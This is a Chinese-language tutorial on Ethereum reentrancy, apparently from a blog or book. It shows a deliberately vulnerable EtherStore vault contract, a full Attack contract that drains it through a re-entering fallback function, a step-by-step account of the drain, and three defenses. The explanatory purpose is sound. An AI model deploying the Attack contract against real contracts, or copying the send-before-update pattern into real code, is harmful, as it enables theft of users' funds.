# 代码重入攻击

当以太坊智能合约将Ether发送给未知地址（地址来源于输入或是调用者）时就有能会受到代码重入攻击攻击。

攻击者可以在地址对应合约的Fallback函数中，构建一段恶意代码。当易受攻击的合约将Ether发送给攻击者构建的恶意合约地址时，将执行Fallback函数，执行恶意代码。恶意代码可以是重新进入易受攻击的合约的相关代码，这样攻击者可以重新进入易受攻击合约，执行一些开发人员不希望执行的合约逻辑。

下面的例子演示了合约EtherStore是如何受到代码重入攻击的，该合约充当以太坊保险库，允许存款人每周只提取1个Ether。
```js
EtherStore.sol：

contract EtherStore {

    uint256 public withdrawalLimit = 1 ether;

    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;

    function depositFunds() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds (uint256 _weiToWithdraw) public {
        // 发送者拥有的ether必须大于要撤回的ether余额
        require(balances[msg.sender] >= _weiToWithdraw);
        // 限制要撤回的ether余额必须小于1 ether
        require(_weiToWithdraw <= withdrawalLimit);
        // 限制之前一周没有发生过撤回操作
        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
        // 向调用者地址转移指定数量的ether
        require(msg.sender.call.value(_weiToWithdraw)());
        // 减少调用者所对应地址的余额
        balances[msg.sender] -= _weiToWithdraw;
        // 更新调用者上次调用该函数的时间
        lastWithdrawTime[msg.sender] = now;
    }
 }
 ```

 该合约有两个公共职能： depositFunds() 和 withdrawFunds() 。


depositFunds函数的功能是增加发送者的余额，withdrawFunds函数的功能允许发送人指定要撤回的Ether的数量，并且如果所要求的退出金额小于1Ether并且在之前一周没有发生撤回操作，它才会成功。但是，当恶意攻击者，使用“重入漏洞”对合约进行攻击时，将不会按照合约创建者希望的逻辑进行执行。

漏洞出在这一行代码：require(msg.sender.call.value(_weiToWithdraw)());考虑下面这个恶意攻击者创建的攻击合约Attack.sol，攻击者可以利用攻击合约不按照规则进行Ether的提取撤回。

```js
import "EtherStore.sol";

contract Attack {
  EtherStore public etherStore;

  // 将etherStore合约地址作为参数进行初始化
  constructor(address _etherStoreAddress) {
      etherStore = EtherStore(_etherStoreAddress);
  }
  
  function pwnEtherStore() public payable {
      // 检查调用者的转账金额是否大于等于1 ether
      require(msg.value >= 1 ether);
      // 调用EtherStore合约的depositFunds()方法存入1 ether
      etherStore.depositFunds.value(1 ether)();
      // 调用EtherStore合约的withdrawFunds方法退回1 ether
      etherStore.withdrawFunds(1 ether);
  }
  
  function collectEther() public {
      msg.sender.transfer(this.balance);
  }

  // fallback function - where the magic happens
  function () payable {
      if (etherStore.balance > 1 ether) {
          etherStore.withdrawFunds(1 ether);
      }
  }
}
```

假设EtherStore.sol的合约地址是：0x01；Attack.sol的合约地址是：0x02；假设EtherStore.sol合约已经有用户使用过，并且将若干Ether存入了合约，并还没有进行撤回提取，将设当前合约的Ether余额是100ether。

攻击过程如下：

攻击者创建攻击合约，并执行构造函数，传入参数是以太坊保险库合约EtherStore对应的合约地址：0x1；

攻击者调用合约Attack（0x02），并存入若干Ether（大于1ether）；

攻击者调用合约Attack（0x02）的pwnEtherStore() 方法；

攻击者调用易受攻击合约EtherStore的depositFunds方法，并转入1ether；

攻击者调用EtherStore合约的withdrawFunds方法撤回1 ether；

此时 EtherStore 合约的检查都会通过；

```js
require(balances[msg.sender] >= _weiToWithdraw);
require(_weiToWithdraw <= withdrawalLimit);
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
```

开始执行require(msg.sender.call.value(_weiToWithdraw)());像攻击者地址转移1 ether，符合最初设计目标。但是转账地址是合约账户，将会执行对应合约，也就是攻击者创建合约的fallback函数。

攻击者者合约Attack的fallback函数执行，检查余额发现是101（初始化100+EtherStore合约转账1），检查通过后继续调用EtherStore合约的withdrawFunds方法继续转移1 ether。

由于之前EtherStore合约没有调用balances[msg.sender] -= _weiToWithdraw;减少账户余额，导致仍然可以通过条件检查，继续转移ether。

重复5-8直到EtherStore合约中对应调用者地址的账户为1，不满足attack合约中fallback的判断条件为止。

最终的结果是，攻击者只用一笔交易，便立即从 EtherStore 合约中取出了（除去1个Ether以外）所有的 Ether。

当了解漏洞发生的原理以后就可以采取一些手段来预防漏洞的发生，有三种常用的预防技巧：

在将Ether发送给外部合约时使用内置的 transfer() 函数 。transfer转账功能只发送2300 gas给 不足以使目的地址/合约调用另一份合约（即重入发送合约）。
确保所有改变状态变量的逻辑发生在 Ether 被发送出合约（或任何外部调用）之前。在这个 EtherStore 例子中，EtherStore.sol应该首先改变合约转态再发送ether。将任何对未知地址执行外部调用的代码，放置在本地化函数或代码执行中作为最后一个操作，是一种很好的做法。这被称为检查效果交互（checks-effects-interactions） 模式。
引入互斥锁。也就是说，要添加一个在代码执行过程中锁定合约的状态变量，阻止重入调用。
这里�分析了短地址攻击和代码�重入攻击，更多的漏洞的例子可以通过Not So Smart Contracts查看，这是一个包含众多Solidity漏洞例子的项目。